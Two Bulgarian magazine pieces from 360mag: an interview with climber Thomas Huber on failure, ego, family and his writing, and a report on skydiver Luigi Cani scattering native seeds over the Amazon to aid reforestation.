Иво и ТомасВ моя стил на интервюта първият въпрос, който задавам е, след толкова много постижения и падения как се самоопределя Томас Хубер към днешна дата?

Томас: Чувствам се много СМИРЕН в момента, защото животът ми е като катеренето, научил съм много от него. Има изкачване и слизане – всеки връх, който изкачиш, после трябва да слезнеш от него – една стъпка напред, две назад. Природата е другият наш най-добър учител.

Имате ли механизъм, по който се справяте с провалите и отказите? Ето например, падането от стената Брендлберг?

Томас Хубер: Тук отговорът ми е кратък: аз нямам проблем с провалите. Падането е част от процеса на катерене, на живеене. Провалите са нещо човешко. Няма провал, това е нещо, което сме си наумили, че трябва да е по определен начин  и когато ние не го направим, го отчитаме като провал. Просто е: Влизаме в живота, качваме се, има върхове, има долини. Не е провал, просто това може да не е нашия път.

Това е будистка философия. Изумена съм. Няма его тук?

Т.Х.: Егото е най-голямата стена в живота на катерача и ако го преследваш дълго из планините, за да се докажеш, може да не оживееш. Но съм християнин, не съм будист.

Как се комуникира тази философия със свръзката, особено ако трябва да се откажете от някакво изкачване?

Т.Х.: Ние избираме много трудни проекти, ходим по ръба на бръснача. Избираме невъзможни стени и търсим възможни начини: с нашите умения правим невъзможното възможно. В такива ситуации планината е нашият учител и тя ни казва на нейния език кога трябва да продължим и кога трябва да слезем. Трябва да говорим с планината и партньора, и да ги разбираме. Понякога партньорът ти не усеща нещата, усещаш ги ти. Има едно правило в планината, че най-слабият в екипа дава решението дали да се напусне или да се остане в планината.

Четох в друго ваше интервю, че слушате, чувате планината и държите на това.

Томас: Да, точно така. Вслушвам се в нея.

Сменям рязко посоката на въпросите. Тежат ли спонсорите на атлета? Притискат ли ви психологически, да направите повече, отколкото в момента сте готов да направите?

Т.Х.: От спонсорите няма напрежение. Атлетите сами си го създават, заради егото им. Например хората мислят, че Ред Бул натискат атлетите си да правят глупави неща и те умират заради това. Но си мисля, че Ред Бул спонсорира, подкрепя мечтите на атлетите. Понякога нещата са сериозни и ако направиш грешка, плащаш с живота си. Но в повечето случаи, когато направиш грешка, е въпрос на его, а не на желанието на спонсора.

Какъв е обикновеният ден на Томас Хубер? Как преминава?

Т.Х.: Събуждам се, правя си кафе. Отивам на разходка в гората с кучето си. През зимата ходим да храним сърните. След това отивам на пазар, понякога готвя, защото жена ми работи. Децата се прибират от училище вкъщи. Поспивам. В 16:00 през ден идва моят треньор и до 20:00 ч. тренираме.

Вие имате треньор? Защо?

Т.Х.: Да, разбира се. За моите години, в които продължавам да катеря трудни неща, за да съм във форма и да поддържам мотивацията си, е необходимо да имам треньор. Хората често ми казват: „О, ти си на години! Няма нужда да се мъчиш по толкова трудни неща!“ Правя го заради себе си, не заради другите, защото обичам катеренето. Искам да им покажа, че въпреки възрастта е възможно да се катериш, да си силен и да ходиш на експедиции.

Наистина е изненадващо и впечатляващо. Наскоро открих, че всеки има нужда от дали треньор, или ментор, да подкрепи някаква негова дейност.

Т.Х.: Ако мислиш, че си майстор на нещо, ти вече си загубен. Винаги се нуждаеш от външен поглед, защото винаги може да станеш по-добър.

Това ли поддържа мотивацията ви?

Т.Х.: Аз имам младо сърце, въпреки белите ми коси. Имам детско любопитство към всичко. Слоганът на една компания описва точно моята мотивация: “Никога не спирай да откриваш”.

Как успявате да съчетавате успехите и семейството? Остава ли време за децата и тяхното порастване?

Т.Х.: Първо, бях и съм катерач, и ходя на експедиции. След това се запознахме с жена ми – след като  вече правя това, което правя и съм. Нещата станаха естествено. Първо се роди синът ни Илая, след това вторият ни син Амадеус, и последна е дъщеря ми Филомеа. Голям компромис е между семейния живот и експедициите. Те знаят, че ако спра, няма да съм това, което съм. Трябва да ме приемат какъвто съм, нямат друг избор.

А смятате ли, че свободното преминаване на Баварската диретисима през 2012 г. е едно от най-големите катерачни постижения.

Т.Х.: Не, не. Това е едно постижение сред всички останали.

А кое смятате за свое най-голямо постижение?

Т.Х.: Това, че съм жив.

За пореден път сте в България – трети? Какво ви харесва тук? Създадохте ли нови приятелства?

Т.Х.: В България не намирам нещо специално в природата, защото живея на много красиво място в Бертескотен. Познавам някои хора тук, а Иво не просто ми е приятел, а сме братя по оръжие, както се казва. Дискутираме много за живота и не винаги сме на едно мнение.
Хората, хората са това, заради което харесвам България. Те са невероятни, много топло и приятелски са настроени. Винаги са усмихнати, уважават присъствието ми, отделят ми внимание. Хората са важни в тази част на света.

Томас и stone monkeysПредпоследният въпрос едва ли ще ви изненада – за връзката ви с брат ви Александър. И аз имам сестра и веднъж съм я водила на по-сериозно планинско ходене. По-голям ужас не съм брала. Затова ми е трудно да вникна във вашата връзка и подкрепа на скалите и в експедициите с брат ви. Как се случи да сте свръзка, има ли страх, как го преодолявате?

Т.Х.: Не се страхувам да се катеря с брат си, нямам усещане за страх. Страхът не е приятел, страхът е спирачка. Ако се страхуваш, ти не трябва да ходиш в планината. В момента, в който има страх, това е знак, че ти не трябва да си там.
Ако се притеснявам за брат си, значи не трябва да сме заедно.

Кой е катерачът, който Ви е вдъхновил?

Т.Х.: В началото ме вдъхновяваше Волфганг Гюлих и Курт Алберт, след това бяха цялото общество в Йосемити, т.нар. “stone monkeys”.  Дийн Потър силно ми повлия. Той обясни на света, че ние не се занимаваме с екстремни спортове, а това, което правим, е изкуство.

Кое е най-голямото съмнение, с което сте се преборвали в живота?

Т.Х.: Съмнение никога не съм изпитвал, когато съм в планината или съм тръгвал за нея, това е моят терен. Най-голямо съмнение имам, когато пиша моите книги. Там съм внимателен във всяка дума и понякога ми отнема по две години.

Томас и книгатаКнигата, за която не знаех. Всъщност, Томас, колко книги си издал?

Т.Х.: Няколко книги, които хората много харесват, но за мен най-важна е последната. Тя не е за това колко планини съм изкатерил, откъде съм тръгнал и откъде съм минал. А е книга за задкулисието, идва от сърцето ми и обяснява ситуациите, които съм преживял. Тя е книга за душата ми, в нея разголвам душата си. Аз съм много странен човек – погледът е тук, но умът ми лети нанякъде. Нормално е да не мога да опиша с думи какво чувствам. Но след написването на тази книга, презентациите ми се промениха, научих се да говоря за преживяванията си и да описвам мислите си.

Томас Хубер, Петрана Петрова и Иво Нинов

Специални благодарности за подкрепата това интервю да се случи на:

Елиза Стоева
Иво Нинов – Германеца
Магазин “Стената”
Дни на предизвикателствата

Снимки: Виктор Троянов, Калина Владимирова, Петрана Петрова

Томас и ПетранаСподелиShares

The post Томас Хубер: Аз имам младо сърце, въпреки белите ми коси. Имам детско любопитство към всичко appeared first on 360mag.

Мъж разпръсква 100 милиона семена над Амазонската гора, за да я спаси от обезлесяване

СподелиShares снимка: Joe Jennings

През 80-те години изгарянето на тропическите гори в Бразилия привлече световното внимание към „белите дробове на планетата“. През последните 50 години около 17% от Амазонската гора са унищожени, а през 2022 г. проучванията показват най-високите регистрирани нива на обезлесяване в Бразилската Амазония, от 2016 г. насам.

Тогава известният бразилския скайдайвър Луиджи Кани решава да намери начин да помогне. След пет години подготовка през 2022 г. той успява да разпръсне 100 милиона семена, от 27 местни растителни вида, от височина 2000 метра над амазонската гора.

Кани, който има зад гърба си близо 14 000 скока и 11 световни рекорда, постигнати за над две десетилетия кариера, определи този скок като един от най-важните в живота си.

Вижте още: Мълчаливите корени на Амазония: Из дневниците на смелия изследовател Филип Лхамсурен

снимка: Luigi Cani, Facebook

Този път не търсех приключение, а исках да направя нещо значимо за по-добро бъдеще. Сега съм на 51 години и нямам същия стремеж към опасности. Искам да направя нещо, което да помогне,

– споделя Кани.

Отнема му 5 години, за да осъществи идеята за стратегическо залесяване на 100 квадратни километра земя, разположена на 130 км от Ново Арипуана в северната част на Бразилия. Получаването на необходимите разрешения от бразилските власти (бяли са нужни 12 юридически разрешения) и създаването на биоразградима кутия за семената, която да ги разпределя правилно, се оказват сериозни предизвикателства.

Семената бяха избрани от близката гора, за да съответстват на над 60 000 растителни вида, които се срещат в Амазония. Изборът на подходящите семена е от решаващо значение, тъй като местните растения са естествено адаптирани към климата, почвените условия и дивата природа на района. Също така това би създало различни екологични ефекти, които подпомагат възстановяването на гората.

Около 3,7 тона материали и оборудване са транспортирани с кораб до Ново Арипуана, а останалата част от операцията е извършена с електрическо превозно средство по суша. Култивирането на семената отнема два месеца, а дни преди скока нещата още са неясни. В допълнение три тестови кутии се провалят дни преди скока през януари 2022 г. Почти в последния момент все пак успяват да фиксират кутията, но остава Кани да се увери, че ще може да държи кутията. След успеха на операцията той коментира:

Това беше единственият скок в живота ми, при който задържах дъха си през цялото време. Сърцето ми биеше много бързо. Чувствах, че ще получа сърдечен удар. Беше трудно да държа кутията. Почти си счупих китката и пръстите. Успях да се стабилизирам на около 1800 метра и семената бяха освободени точно там, където искахме. Беше пълен екстаз.

Изглежда всички усилия са си стрували, защото семената, подготвени с 95% шанс за покълване, дават големи шансове огромна част от обезлесената Амазония да се възстанови. Екипът на Кани постоянно следи ситуацията чрез сателит. Процесът на възстановяване на горите е дългосрочен и изисква време за наблюдение и оценка на ефективността на подобни инициативи.

Вижте още: Весо Овчаров и Иво Нинов скочиха от най-високия водопад на света



СподелиShares

The post Мъж разпръсква 100 милиона семена над Амазонската гора, за да я спаси от обезлесяване appeared first on 360mag.